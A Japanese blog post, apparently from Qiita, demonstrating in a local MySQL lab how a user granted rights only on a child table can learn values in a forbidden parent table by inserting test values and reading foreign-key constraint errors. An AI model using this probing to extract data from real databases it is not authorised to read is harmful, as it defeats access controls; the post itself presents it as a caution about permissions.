1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

権限がないテーブルでも、外部キーが貼られていれば中身が見えるかもしれないメモ

Posted at

動機

「そういえば外部キーを悪用されれば、権限のないテーブルのデータも見れるんじゃね?」ってやってみた。
考えてみると当たり前のことではあるが、やってみることが大事。

前準備

$ mysql -uroot

mysql> create database testDB;
Query OK, 1 row affected (0.00 sec)

mysql> use testDB
Database changed

mysql> create table A(num int not null unique);
Query OK, 0 rows affected (0.03 sec)

mysql> create table B(num int not null);
Query OK, 0 rows affected (0.02 sec)

mysql> alter table B add constraint num_key foreign key (num) references A(num);
Query OK, 0 rows affected (0.06 sec)
Records: 0  Duplicates: 0  Warnings: 0

こんな感じのテーブルが出来上がる
スクリーンショット 2018-08-04 14.40.02.png

データ挿入

mysql> insert into A(num) values (3), (5), (8);
Query OK, 3 rows affected (0.01 sec)
Records: 3  Duplicates: 0  Warnings: 0

mysql> select * from A;
+-----+
| num |
+-----+
|   3 |
|   5 |
|   8 |
+-----+
3 rows in set (0.00 sec)

テーブルAに3と5と8を入れてみた。

mysql> insert into B(num) values (3);
Query OK, 1 row affected (0.00 sec)

mysql> insert into B(num) values (4);
ERROR 1452 (23000): Cannot add or update a child row: a foreign key constraint fails (`testdb`.`b`, CONSTRAINT `num_key` FOREIGN KEY (`num`) REFERENCES `A` (`num`))

テーブルBに3を入れてみたところ、無事挿入されたが、4を入れようとしても弾かれる。
外部キーを貼っているため。

mysql> delete from B;
Query OK, 1 row affected (0.00 sec)

とりあえずデータ削除。

本題

mysql> create user cracker;
Query OK, 0 rows affected (0.04 sec)

mysql> grant all on testDB.B to cracker;
Query OK, 0 rows affected (0.00 sec)

mysql> exit
Bye

$ mysql -ucracker;

mysql> use testDB;
Database changed

ユーザーを作り、テーブルBの操作権のみ渡した上で、そのユーザーでログイン。

mysql> select * from A;
ERROR 1142 (42000): SELECT command denied to user 'cracker'@'localhost' for table 'a'
mysql> select * from B;
Empty set (0.00 sec)

テーブルAは見れないが、テーブルBは見れる。

mysql> insert into B(num) values (0);
ERROR 1452 (23000): Cannot add or update a child row: a foreign key constraint fails (`testdb`.`b`, CONSTRAINT `num_key` FOREIGN KEY (`num`) REFERENCES `A` (`num`))
mysql> insert into B(num) values (1);
ERROR 1452 (23000): Cannot add or update a child row: a foreign key constraint fails (`testdb`.`b`, CONSTRAINT `num_key` FOREIGN KEY (`num`) REFERENCES `A` (`num`))
mysql> insert into B(num) values (2);
ERROR 1452 (23000): Cannot add or update a child row: a foreign key constraint fails (`testdb`.`b`, CONSTRAINT `num_key` FOREIGN KEY (`num`) REFERENCES `A` (`num`))
mysql> insert into B(num) values (3);
Query OK, 1 row affected (0.00 sec)

mysql> insert into B(num) values (4);
ERROR 1452 (23000): Cannot add or update a child row: a foreign key constraint fails (`testdb`.`b`, CONSTRAINT `num_key` FOREIGN KEY (`num`) REFERENCES `A` (`num`))
mysql> insert into B(num) values (5);
Query OK, 1 row affected (0.00 sec)

mysql> insert into B(num) values (6);
ERROR 1452 (23000): Cannot add or update a child row: a foreign key constraint fails (`testdb`.`b`, CONSTRAINT `num_key` FOREIGN KEY (`num`) REFERENCES `A` (`num`))
mysql> insert into B(num) values (7);
ERROR 1452 (23000): Cannot add or update a child row: a foreign key constraint fails (`testdb`.`b`, CONSTRAINT `num_key` FOREIGN KEY (`num`) REFERENCES `A` (`num`))
mysql> insert into B(num) values (8);
Query OK, 1 row affected (0.00 sec)

mysql> insert into B(num) values (9);
ERROR 1452 (23000): Cannot add or update a child row: a foreign key constraint fails (`testdb`.`b`, CONSTRAINT `num_key` FOREIGN KEY (`num`) REFERENCES `A` (`num`))
mysql> insert into B(num) values (10);
ERROR 1452 (23000): Cannot add or update a child row: a foreign key constraint fails (`testdb`.`b`, CONSTRAINT `num_key` FOREIGN KEY (`num`) REFERENCES `A` (`num`))

0~10までBに代入してみたところ、Aに入っているのが0~10の範囲では、3と5と8であることがわかった。

# まとめ
権限には気をつけよう。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?